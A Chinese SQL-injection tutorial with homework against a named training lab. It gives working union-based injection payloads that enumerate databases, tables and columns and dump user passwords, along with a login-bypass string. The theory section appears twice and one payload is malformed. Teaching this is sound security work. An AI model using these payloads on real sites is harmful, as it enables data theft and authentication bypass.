3.sql注入原理

简介: 当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入产生的原理

Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入的本质

把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则

SQL注入的两个关键点

1.    用户能够控制输入的内容

2.    web应用能够把用户输入的数据带入到数据库中查询

SQL注入的危害

●     盗取网站的铭感信息

●     绕过后台登录认证

万能密码  ' or '1' = '1'  #

●     借助SQL注入漏洞提权

●     读取文件信息

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合

SQL这入的流程

1.    寻找SQL注入点

2.    判断闭合方式  

    ?id = 1asdfa
               有报错:数字型,无闭合或)闭合

              无报错:字符型     ——>>    再判断闭合方式       ' "   ')    '))  ")  

3.验证漏洞

  ?id=1    and  1=1 —+  正常显示

  ?id=1    and  1=0 —+  无显示

4.判断列数

  ?id=1'    and  1=1 order by 1  —+     回显正确

  ?id=1'   and  1=1 order by 2  —+     回显正确

  ?id=1'  and  1=1 order by 3  —+     回显正确

  ?id=1'   and  1=1 order by 4  —+     回显报错,说明只有3

  ?id=1'  and  1=1 order by .... —+

5.判断回显位

?id=0'   and  1=1 union select 1,2,3   —+

6.回显位的位置注入SQL语句查询数据库名,数据库版本信息

?id=0'   and  1=1 union select 1,database(),3   —+

?id=0'   and  1=1 union select 1,version(),3   —+

7.回显位的位置注入SQL语句查询表名

?id=0'   and  1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3   —+

注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security

 

 

8.回显位的位置注入SQL语句查询字段

union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'       and table_name='users'   )  --+

9.回显位的位置注入SQL语句查询字段值

?id=0'   and  1=1 union select 1,select group_concat(id,password) from users,3   —+

 

 

 

 

SQL注入盲注的分类

基于时间延迟的盲注

基于布尔判断的盲注

基于报错显示的盲注

 

 

SQL注入常用的函数

substr(string,start,length)


SQL注入产生的原理

Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

SQL注入的本质

把用户输入的数据当做数据库语言来执行,违背了数据与代码分离的原则

SQL注入的两个关键点

1.    用户能够控制输入的内容

2.    web应用能够把用户输入的数据带入到数据库中查询

SQL注入的危害

●     盗取网站的铭感信息

●     绕过后台登录认证

万能密码  ' or '1' = '1'  #

●     借助SQL注入漏洞提权

●     读取文件信息

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入 根据反馈结果分类:有回显(显错注入)、无回显(盲注) 根据数据类型分类: 数字型:输入的参数为整型,如id、年龄、页码等 字符型:输入的参数为字符串 数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要弹引号闭合

SQL这入的流程

1.    寻找SQL注入点

2.    判断闭合方式  

    ?id = 1asdfa
               有报错:数字型,无闭合或)闭合

              无报错:字符型     ——>>    再判断闭合方式       ' "   ')    '))  ")  

3.验证漏洞

  ?id=1    and  1=1 —+  正常显示

  ?id=1    and  1=0 —+  无显示

4.判断列数

  ?id=1'    and  1=1 order by 1  —+     回显正确

  ?id=1'   and  1=1 order by 2  —+     回显正确

  ?id=1'  and  1=1 order by 3  —+     回显正确

  ?id=1'   and  1=1 order by 4  —+     回显报错,说明只有3

  ?id=1'  and  1=1 order by .... —+

5.判断回显位

?id=0'   and  1=1 union select 1,2,3   —+

6.回显位的位置注入SQL语句查询数据库名,数据库版本信息

?id=0'   and  1=1 union select 1,database(),3   —+

?id=0'   and  1=1 union select 1,version(),3   —+

7.回显位的位置注入SQL语句查询表名

?id=0'   and  1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3   —+

注意:数据库这里可以直接写database(),也可以写上面查询出来的表名security

 

 

8.回显位的位置注入SQL语句查询字段

union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'       and table_name='users'   )  --+

9.回显位的位置注入SQL语句查询字段值

?id=0'   and  1=1 union select 1,select group_concat(id,password) from users,3   —+

 

 

 

 

SQL注入盲注的分类

基于时间延迟的盲注

基于布尔判断的盲注

基于报错显示的盲注

 

 

SQL注入常用的函数

substr(string,start,length)

image.png



mid

 

 

left(string,n)

image.png


ord(char)

image.png


ascii(str)

将字符串转化为ascii

length(string)

截取字符串的长度

image.png



ifnull(str1,str2)

image.png

 

 

 

 

靶场

蚁景 Lab

 http://120.27.61.239:8007/

 

 

 

作业:

第一关:基于数字的注入


http://120.27.61.239:8007/source/index.php?id=1

判断显示位

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,3

--+

image.png


获取数据库  数据库版本

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())

--+

image.png

 

 

获取数据库里面的表

http://120.27.61.239:8007/source/index.php?id=0

+UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())

--+

image.png



获取数据库表里面的字段

http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3

--+

image.png



获取字段里面的值

http://120.27.61.239:8007/source/index.php?id=0union select 1,(select group_concat(id,0x7e,password,0x7e)from users),3 --+

image.png

 

 

 

 

 

 

第二关:基于字符得注入

image.png



相关文章
|
29天前
|
SQL 关系型数据库 数据库
SQL数据库:核心原理与应用实践
随着信息技术的飞速发展,数据库管理系统已成为各类组织和企业中不可或缺的核心组件。在众多数据库管理系统中,SQL(结构化查询语言)数据库以其强大的数据管理能力和灵活性,广泛应用于各类业务场景。本文将深入探讨SQL数据库的基本原理、核心特性以及实际应用。一、SQL数据库概述SQL数据库是一种关系型数据库
30 5
|
30天前
|
SQL 监控 安全
SQL注入公鸡分类及原理
SQL注入公鸡分类及原理
|
30天前
|
SQL 关系型数据库 MySQL
sql注入原理与实战(三)数据库操作
sql注入原理与实战(三)数据库操作
sql注入原理与实战(三)数据库操作
|
27天前
|
SQL 分布式计算 大数据
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(一)
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(一)
34 0
|
27天前
|
SQL 分布式计算 算法
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(二)
大数据-97 Spark 集群 SparkSQL 原理详细解析 Broadcast Shuffle SQL解析过程(二)
66 0
|
30天前
|
SQL 关系型数据库 Serverless
sql注入原理与实战(四)数据表操作
sql注入原理与实战(四)数据表操作
|
30天前
|
SQL 存储 Java
sql注入原理与实战(二)数据库原理
sql注入原理与实战(二)数据库原理
|
30天前
|
SQL 前端开发 安全
sql注入原理与实战(一)
sql注入原理与实战(一)
|
1月前
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
4月前
|
SQL 存储 安全
SQL数据库:核心原理、应用实践与未来展望
在电子商务领域,SQL数据库用于存储商品信息、用户信息、订单信息等。通过SQL数据库,电商平台可以实现商品的快速检索、用户行为的跟踪分析、订单状态的实时更新等功能,提升用户体验和运营效率。